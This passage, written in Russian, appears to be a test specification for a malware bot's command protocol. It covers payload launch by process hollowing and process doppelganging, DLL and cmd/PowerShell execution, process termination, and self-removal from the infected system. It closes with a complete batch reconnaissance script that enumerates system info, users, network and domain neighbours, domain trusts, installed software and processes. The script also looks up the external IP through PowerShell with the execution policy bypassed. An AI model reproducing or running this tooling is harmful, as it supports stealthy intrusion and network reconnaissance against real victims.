|
Ответ при удачном запуске:
|
|
pid=NNNN
|
|
msg=program is running
|
|
|
|
|
|
4.2.3 "10 2 60 1 %URI% a b c %id%" - process hollowing
|
|
ответы такие же
|
|
|
|
4.2.4 "10 2 0 1 %URI% a b c %id%" - process hollowing, timeout=0
|
|
ответы такие же
|
|
|
|
4.2.5 "10 3 60 1 %URI% a b c %id%" - process doppelganging
|
|
ответы такие же
|
|
|
|
4.2.6 "10 3 0 1 %URI% a b c %id%" - process doppelganging, timeout=0
|
|
ответы такие же
|
|
|
|
4.3. Команда 11. Эта команда должна передать на запуск dll, в качестве которой используется TestDll32.dll.
|
|
Функция Start из TestDll32.dll выводит stdout текст "test dll - start()". БД должен передать этот вывод в АДM.
|
|
Общий формат 11 %timeout% %URI% %cmdline%
|
|
|
|
4.3.1. "11 60 %URI% Start"
|
|
АДМ должна установить значение %URI% в адрес к TestDll32.dll.
|
|
ответы такие же, как в команде 10.
|
|
|
|
4.3.2. "11 0 %URI% Start" - timeout=0
|
|
ответы такие же
|
|
|
|
|
|
|
|
4.4. Команда 12. Запуск cmd скрипта.
|
|
|
|
4.4.1. "12 60 cmd /c cd c:\&&dir" - запуск скрипта без создания bat-файла
|
|
ответы такие же, как в команде 10.
|
|
|
|
4.4.2. "12 60 cmd /c\r\ncd c:\\r\ndir" - запуск скрипта через создание bat-файла
|
|
ответы такие же, как в команде 10.
|
|
|
|
|
|
|
|
4.5. Команда 13. Запуск powershell скрипта.
|
|
|
|
4.5.1. "13 60 a b c\r\ncd c:\\r\ndir" - запуск скрипта через создание ps1-файла
|
|
a b c - параметры для скрипта, могут отсутствовать.
|
|
ответы такие же, как в команде 10.
|
|
|
|
|
|
4.6. Команда 15. Завершить программу.
|
|
4.6.1. "15 %pid%"
|
|
Ответ:
|
|
msg=MMM
|
|
|
|
4.7. Команда 100. Удаление из системы.
|
|
4.7.1. "100"
|
|
Ответ:
|
|
msg=OK
|
|
|
|
|
|
СКРИПТ ПОЛУЧЕНИЯ ИНФОРМАЦИИ О СИСТЕМЕ
|
|
|
|
@echo off
|
|
|
|
echo General Info:
|
|
systeminfo
|
|
|
|
echo.
|
|
echo My Username:
|
|
whoami
|
|
|
|
echo.
|
|
echo Network Neighbourghoud:
|
|
net view /all
|
|
|
|
echo.
|
|
echo Domain Neighbourghoud:
|
|
net view /all /domain
|
|
|
|
echo.
|
|
echo Domain Trust:
|
|
nltest /domain_trusts /all_trusts
|
|
|
|
echo.
|
|
echo Installed Programs:
|
|
reg query hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
|
|
|
|
echo.
|
|
echo Installed Programs (wow64):
|
|
reg query hklm\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
|
|
|
|
echo.
|
|
echo Installed Programs (current user):
|
|
reg query hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
|
|
|
|
echo.
|
|
echo Installed Programs (current user, wow64):
|
|
reg query hkcu\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
|
|
|
|
echo.
|
|
echo Process List:
|
|
tasklist
|
|
|
|
echo.
|
|
echo External IP:
|
|
powershell -executionpolicy bypass -command "$Servers= @('http://checkip.amazonaws.com','https://ipinfo.io/ip','http://api.ipify.org','https://myexternalip.com/raw','http://wtfismyip.com/text','http://ip.anysrc.net/plain/clientip','http://api.ipify.org/?format=text','http://api.ip.sb/ip','http://ident.me/ip'); $i=Get-Random -Minimum 0 -Maximum 8; Write-Host HTTP-DNS request via $Servers[$i]; $ip=Invoke-WebRequest -UseBasicParsing -Uri $Servers[$i]; write-host $ip.content;"
|